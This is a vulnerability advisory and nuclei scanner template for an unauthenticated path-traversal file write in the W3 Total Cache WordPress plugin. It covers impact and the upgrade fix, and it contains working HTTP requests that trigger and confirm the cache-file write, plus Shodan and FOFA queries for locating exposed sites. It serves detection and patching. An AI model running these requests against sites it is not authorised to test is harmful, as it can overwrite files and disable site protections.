W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write

criticalseverity

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication.

Impact

Unauthenticated attackers can overwrite arbitrary files, including .htaccess, potentially breaking the site and disabling security measures.

Fix

Upgrade to version 2.10.5 or later.

How to confirm it

Send: GET /wp-content/plugins/w3-total-cache/readme.txt
Positive when: compare_versions(version, "< 2.10.5")
Send: GET /search/{{marker}}/
Positive when: status_code == 200 and contains(to_lower(body), "w3 total cache")
Send: GET /search/{{marker}}/%2e%2e%5c%2e%2e%5c
Positive when: status_code == 200
Send: GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash_ssl.html ; GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash.html
Positive when: status_code == 200 and contains_any(body, marker, "search-no-results")

Run it with nuclei: nuclei -id CVE-2026-18051 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-18051

info:
  name: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write
  author: HaroonArshad-53
  severity: critical
  description: |
    W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite arbitrary files, including .htaccess, potentially breaking the site and disabling security measures.
  remediation: |
    Upgrade to version 2.10.5 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-18051
    - https://wpscan.com/vulnerability/dc56cdd2-419b-4a64-9d2a-29dc7e79cb6d/
  classification:
    cve-id: CVE-2026-18051
    epss-score: 0.02007
    epss-percentile: 0.81002
    cwe-id: CWE-22
  metadata:
    max-request: 5
    vendor: boldgrid
    product: w3-total-cache
    shodan-query: http.html:"/wp-content/plugins/w3-total-cache/"
    fofa-query: body="/wp-content/plugins/w3-total-cache/"
  tags: cve,cve2026,wordpress,w3-total-cache,path-traversal,unauth,intrusive

variables:
  marker: "{{rand_base(8, 'acfhjnprx')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 2.10.5")'
        internal: true

  - raw:
      - |
        GET /search/{{marker}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        condition: and
        dsl:
          - "status_code == 200"
          - 'contains(to_lower(body), "w3 total cache")'
        internal: true

  - raw:
      - |
        GET /search/{{marker}}/%2e%2e%5c%2e%2e%5c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash_ssl.html HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash.html HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains_any(body, marker, "search-no-results")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from